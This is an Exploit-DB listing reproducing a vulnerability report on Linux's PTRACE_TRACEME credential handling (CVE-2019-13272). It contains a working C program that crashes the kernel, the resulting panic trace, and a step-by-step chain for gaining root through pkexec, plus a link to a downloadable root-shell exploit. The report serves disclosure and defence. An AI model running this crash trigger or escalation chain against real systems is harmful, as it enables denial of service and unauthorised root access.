Exploit Linux - Broken Permission and Object Lifetime Handling for PTRACE_TRACEME

[Exploiter]

EDB-ID

47133

Проверка EDB

1. Пройдено

Автор

GOOGLE SECURITY RESEARCH

Тип уязвимости

LOCAL

Платформа

LINUX

CVE

cve-2019-13272

Дата публикации

2019-07-17

Linux - Broken Permission and Object Lifetime Handling for PTRACE_TRACEME

== Summary ==
This bug report describes two issues introduced by commit 64b875f7ac8a ("ptrace:
Capture the ptracer's creds not PT_PTRACE_CAP", introduced in v4.10 but also
stable-backported to older versions). I will send a suggested patch in a minute
("ptrace: Fix ->ptracer_cred handling for PTRACE_TRACEME").

When called for PTRACE_TRACEME, ptrace_link() would obtain an RCU reference
to the parent's objective credentials, then give that pointer to
get_cred(). However, the object lifetime rules for things like struct cred
do not permit unconditionally turning an RCU reference into a stable
reference.

PTRACE_TRACEME records the parent's credentials as if the parent was acting
as the subject, but that's not the case. If a malicious unprivileged child
uses PTRACE_TRACEME and the parent is privileged, and at a later point, the
parent process becomes attacker-controlled (because it drops privileges and
calls execve()), the attacker ends up with control over two processes with
a privileged ptrace relationship, which can be abused to ptrace a suid
binary and obtain root privileges.


== Long bug description ==
While I was trying to refactor the cred_guard_mutex logic, I stumbled over the
following issues:

ptrace relationships can be set up in two ways: Either the tracer attaches to
another process (PTRACE_ATTACH/PTRACE_SEIZE), or the tracee forces its parent to
attach to it (PTRACE_TRACEME).
When a tracee goes through a privilege-gaining execve(), the kernel checks
whether the ptrace relationship is privileged. If it is not, the
privilege-gaining effect of execve is suppressed.
The idea here is that a privileged tracer (e.g. if root runs "strace" on
some process) is allowed to trace through setuid/setcap execution, but an
unprivileged tracer must not be allowed to do that, since it could otherwise
inject arbitrary code into privileged processes.

In the PTRACE_ATTACH/PTRACE_SEIZE case, the tracer's credentials are recorded at
the time it calls PTRACE_ATTACH/PTRACE_SEIZE; later, when the tracee goes
through execve(), it is checked whether the recorded credentials are capable
over the tracee's user namespace.
But in the PTRACE_TRACEME case, the kernel also records _the tracer's_
credentials, even though the tracer is not requesting the operation. There are
two problems with that.


First, there is an object lifetime issue:
ptrace_traceme() -> ptrace_link() grabs __task_cred(new_parent) in an RCU
read-side critical section, then passes the creds to __ptrace_link(), which
calls get_cred() on them. If the parent concurrently switches its creds (e.g.
via setresuid()), the creds' refcount may already be zero, in which case
put_cred_rcu() will already have been scheduled. The kernel usually manages to
panic() before memory corruption occurs here using the following code in
put_cred_rcu(); however, I think memory corruption would also be possible if
this code races exactly the right way.

        if (atomic_read(&cred->usage) != 0)
                panic("CRED: put_cred_rcu() sees %p with usage %d\n",
                      cred, atomic_read(&cred->usage));

A simple PoC to trigger this bug:
============================
#define _GNU_SOURCE
#include <unistd.h>
#include <signal.h>
#include <sched.h>
#include <err.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/ptrace.h>

int grandchild_fn(void *dummy) {
  if (ptrace(PTRACE_TRACEME, 0, NULL, NULL))
    err(1, "traceme");
  return 0;
}

int main(void) {
  pid_t child = fork();
  if (child == -1) err(1, "fork");

  /* child */
  if (child == 0) {
    static char child_stack[0x100000];
    prctl(PR_SET_PDEATHSIG, SIGKILL);
    while (1) {
      if (clone(grandchild_fn, child_stack+sizeof(child_stack), CLONE_FILES|CLONE_FS|CLONE_IO|CLONE_PARENT|CLONE_VM|CLONE_SIGHAND|CLONE_SYSVSEM|CLONE_VFORK, NULL) == -1)
        err(1, "clone failed");
    }
  }

  /* parent */
  uid_t uid = getuid();
  while (1) {
    if (setresuid(uid, uid, uid)) err(1, "setresuid");
  }
}
============================

Result:
============================
[  484.576983] ------------[ cut here ]------------
[  484.580565] kernel BUG at kernel/cred.c:138!
[  484.585278] Kernel panic - not syncing: CRED: put_cred_rcu() sees 000000009e024125 with usage 1
[  484.589063] CPU: 1 PID: 1908 Comm: panic Not tainted 5.2.0-rc7 #431
[  484.592410] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.12.0-1 04/01/2014
[  484.595843] Call Trace:
[  484.598688]  <IRQ>
[  484.601451]  dump_stack+0x7c/0xbb
[...]
[  484.607349]  panic+0x188/0x39a
[...]
[  484.622650]  put_cred_rcu+0x112/0x120
[...]
[  484.628580]  rcu_core+0x664/0x1260
[...]
[  484.646675]  __do_softirq+0x11d/0x5dd
[  484.649523]  irq_exit+0xe3/0xf0
[  484.652374]  smp_apic_timer_interrupt+0x103/0x320
[  484.655293]  apic_timer_interrupt+0xf/0x20
[  484.658187]  </IRQ>
[  484.660928] RIP: 0010:do_error_trap+0x8d/0x110
[  484.664114] Code: da 4c 89 ee bf 08 00 00 00 e8 df a5 09 00 3d 01 80 00 00 74 54 48 8d bb 90 00 00 00 e8 cc 8e 29 00 f6 83 91 00 00 00 02 75 2b <4c> 89 7c 24 40 44 8b 4c 24 04 48 83 c4 08 4d 89 f0 48 89 d9 4c 89
[  484.669035] RSP: 0018:ffff8881ddf2fd58 EFLAGS: 00000246 ORIG_RAX: ffffffffffffff13
[  484.672784] RAX: 0000000000000000 RBX: ffff8881ddf2fdb8 RCX: ffffffff811144dd
[  484.676450] RDX: 0000000000000007 RSI: dffffc0000000000 RDI: ffff8881eabc4bf4
[  484.680306] RBP: 0000000000000006 R08: fffffbfff0627a02 R09: 0000000000000000
[  484.684033] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000004
[  484.687697] R13: ffffffff82618dc0 R14: 0000000000000000 R15: ffffffff810c99d5
[...]
[  484.700626]  do_invalid_op+0x31/0x40
[...]
[  484.707183]  invalid_op+0x14/0x20
[  484.710499] RIP: 0010:__put_cred+0x65/0x70
[  484.713598] Code: 48 8d bd 90 06 00 00 e8 49 e2 1f 00 48 3b 9d 90 06 00 00 74 19 48 8d bb 90 00 00 00 48 c7 c6 50 98 0c 81 5b 5d e9 ab 1f 08 00 <0f> 0b 0f 0b 0f 0b 0f 1f 44 00 00 55 53 48 89 fb 48 81 c7 90 06 00
[  484.718633] RSP: 0018:ffff8881ddf2fe68 EFLAGS: 00010202
[  484.722407] RAX: 0000000000000001 RBX: ffff8881f38a4600 RCX: ffffffff810c9987
[  484.726147] RDX: 0000000000000003 RSI: dffffc0000000000 RDI: ffff8881f38a4600
[  484.730049] RBP: ffff8881f38a4600 R08: ffffed103e7148c1 R09: ffffed103e7148c1
[  484.733857] R10: 0000000000000001 R11: ffffed103e7148c0 R12: ffff8881eabc4380
[  484.737923] R13: 00000000000003e8 R14: ffff8881f1a5b000 R15: ffff8881f38a4778
[...]
[  484.748760]  commit_creds+0x41c/0x520
[...]
[  484.756115]  __sys_setresuid+0x1cb/0x1f0
[  484.759634]  do_syscall_64+0x5d/0x260
[  484.763024]  entry_SYSCALL_64_after_hwframe+0x49/0xbe
[  484.766441] RIP: 0033:0x7fcab9bb4845
[  484.769839] Code: 0f 1f 44 00 00 48 83 ec 38 64 48 8b 04 25 28 00 00 00 48 89 44 24 28 31 c0 8b 05 a6 8e 0f 00 85 c0 75 2a b8 75 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 53 48 8b 4c 24 28 64 48 33 0c 25 28 00 00 00
[  484.775183] RSP: 002b:00007ffe01137aa0 EFLAGS: 00000246 ORIG_RAX: 0000000000000075
[  484.779226] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007fcab9bb4845
[  484.783057] RDX: 00000000000003e8 RSI: 00000000000003e8 RDI: 00000000000003e8
[  484.787101] RBP: 00007ffe01137af0 R08: 0000000000000000 R09: 00007fcab9caf500
[  484.791045] R10: fffffffffffff4d4 R11: 0000000000000246 R12: 00005573b2f240b0
[  484.794891] R13: 00007ffe01137bd0 R14: 0000000000000000 R15: 0000000000000000
[  484.799171] Kernel Offset: disabled
[  484.802932] ---[ end Kernel panic - not syncing: CRED: put_cred_rcu() sees 000000009e024125 with usage 1 ]---
============================


The second problem is that, because the PTRACE_TRACEME case grabs the
credentials of a potentially unaware tracer, it can be possible for a normal
user to create and use a ptrace relationship that is marked as privileged even
though no privileged code ever requested or used that ptrace relationship.
This requires the presence of a setuid binary with certain behavior: It has to
drop privileges and then become dumpable again (via prctl() or execve()).

 - task A: fork()s a child, task B
 - task B: fork()s a child, task C
 - task B: execve(/some/special/suid/binary)
 - task C: PTRACE_TRACEME (creates privileged ptrace relationship)
 - task C: execve(/usr/bin/passwd)
 - task B: drop privileges (setresuid(getuid(), getuid(), getuid()))
 - task B: become dumpable again (e.g. execve(/some/other/binary))
 - task A: PTRACE_ATTACH to task B
 - task A: use ptrace to take control of task B
 - task B: use ptrace to take control of task C

Polkit's pkexec helper fits this pattern. On a typical desktop system, any
process running under an active local session can invoke some helpers through
pkexec (see configuration in /usr/share/polkit-1/actions, search for <action>s
that specify <allow_active>yes</allow_active> and
<annotate key="org.freedesktop.policykit.exec.path">...</annotate>).
While pkexec is normally used to run programs as root, pkexec actually allows
its caller to specify the user to run a command as with --user, which permits
using pkexec to run a command as the user who executed pkexec. (Which is kinda
weird... why would I want to run pkexec helpers as more than one fixed user?)

I have attached a proof-of-concept that works on Debian 10 running a distro
kernel and the XFCE desktop environment; if you use a different desktop
environment, you may have to add a path to the `helpers` array in the PoC. When
you compile and run it in an active local session, you should get a root shell
within a second.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47133.zip